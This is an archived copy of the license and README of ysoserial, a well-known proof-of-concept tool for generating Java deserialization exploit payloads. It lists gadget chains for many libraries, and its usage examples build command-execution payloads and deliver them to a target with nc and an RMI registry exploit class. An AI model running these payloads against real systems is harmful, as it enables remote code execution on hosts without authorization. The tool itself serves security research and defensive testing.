

Chris Frohoff's ysoserial project

Chris Frohoff's ysoserial project - frohoff, GitHub.

- Published: date not stated
- Original: <https://github.com/frohoff/ysoserial>
- Preserved from: <https://github.com/frohoff/ysoserial> (preserved-copy) on 2026-08-04
- Repository commit: 218bcffcaaa904a4e392f0c15d9e2874533635a3
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/frohoff/ysoserial>
- Commit: 218bcffcaaa904a4e392f0c15d9e2874533635a3
- Documents preserved: 2

LICENSE.txt

Blob 48825dde9d6c , 1069 bytes, at commit 218bcffcaaa9 .

Copyright (c) 2013 Chris Frohoff

MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob 5d84aebbafed, 7462 bytes, at commit 218bcffcaaa9.

ysoserial

[[image: GitHub release](#)] [[image: Travis Build Status](#)] [[image: Appveyor Build status](#)] [[image: JitPack](#)]

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

[illegible]

Description

Originally released as part of AppSecCali 2015 Talk "[Marshalling Pickles: how deserializing objects will ruin your day](#)" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for [JRE <= 1.7u21](#) and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing **unsafe deserialization** of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

Usage

```
$ java -jar ysoserial.jar
```

```
Y SO SERIAL?
```

```
Usage: java -jar ysoserial.jar [payload] '[command]'
```

```
Available payload types:
```

Payload	Authors	Dependencies
-----	-----	-----
AspectJWeaver	@Jang	aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1	@pwntester, @cschneider4711	bsh:2.0b5
C3P0	@mbechler	c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1	@artsploit	click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure	@JackOfMostTrades	clojure:1.8.0
CommonsBeanutils1	@frohoff	commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1	@frohoff	commons-collections:3.1
CommonsCollections2	@frohoff	commons-collections4:4.0
CommonsCollections3	@frohoff	commons-collections:3.1
CommonsCollections4	@frohoff	commons-collections4:4.0
CommonsCollections5	@matthias_kaiser, @jasinner	commons-collections:3.1
CommonsCollections6	@matthias_kaiser	commons-collections:3.1
CommonsCollections7	@scristalli, @hanyrax, @EdoardoVignati	commons-collections:3.1
FileUpload1	@mbechler	commons-fileupload:1.3.1, commons-io:2.4
Groovy1	@frohoff	groovy:2.3.9
Hibernate1	@mbechler	
Hibernate2	@mbechler	
JBossInterceptors1	@matthias_kaiser	javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPCClient	@mbechler	
JRMPLListener	@mbechler	
JSON1	@mbechler	json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1	@matthias_kaiser	javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21	@frohoff	
Jython1	@pwntester, @cschneider4711	jython-standalone:2.5.2
MozillaRhino1	@matthias_kaiser	js:1.7R2
MozillaRhino2	@_tint0	js:1.7R2
Myfaces1	@mbechler	

Myfaces2	@mbechler	
ROME	@mbechler	rome:1.0
Spring1	@frohoff	spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2	@mbechler	spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS	@gebl	
Vaadin1	@kai_ullrich	vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1	@jacob-baines	wicket-util:6.23.0, slf4j-api:1.6.4

Examples

```
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.0v
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.....
0000570: 0078 7071 007e 003a .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099
CommonsCollections1 calc.exe
```

Installation

[\[image: GitHub release\]](#)

Download the [latest release jar](#) from GitHub releases.

Building

Requires Java 1.7+ and Maven 3.x+

Code Status

```
[![Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)]  
(https://travis-ci.com/github/frohoff/ysoserial)  
[![Build status]  
(https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)]  
(https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
```

Contributing

1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create [new](#) Pull Request

See Also

- * [\[Java-Deserialization-Cheat-Sheet\]\(https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet\)](#): *info on vulnerabilities, tools, blogs/write-ups, etc.*
- * [\[marshalsec\]\(https://github.com/frohoff/marshalsec\)](#): *similar project for various Java deserialization formats/libraries*
- * [\[ysoserial.net\]\(https://github.com/pwntester/ysoserial.net\)](#): *similar project for .NET deserialization*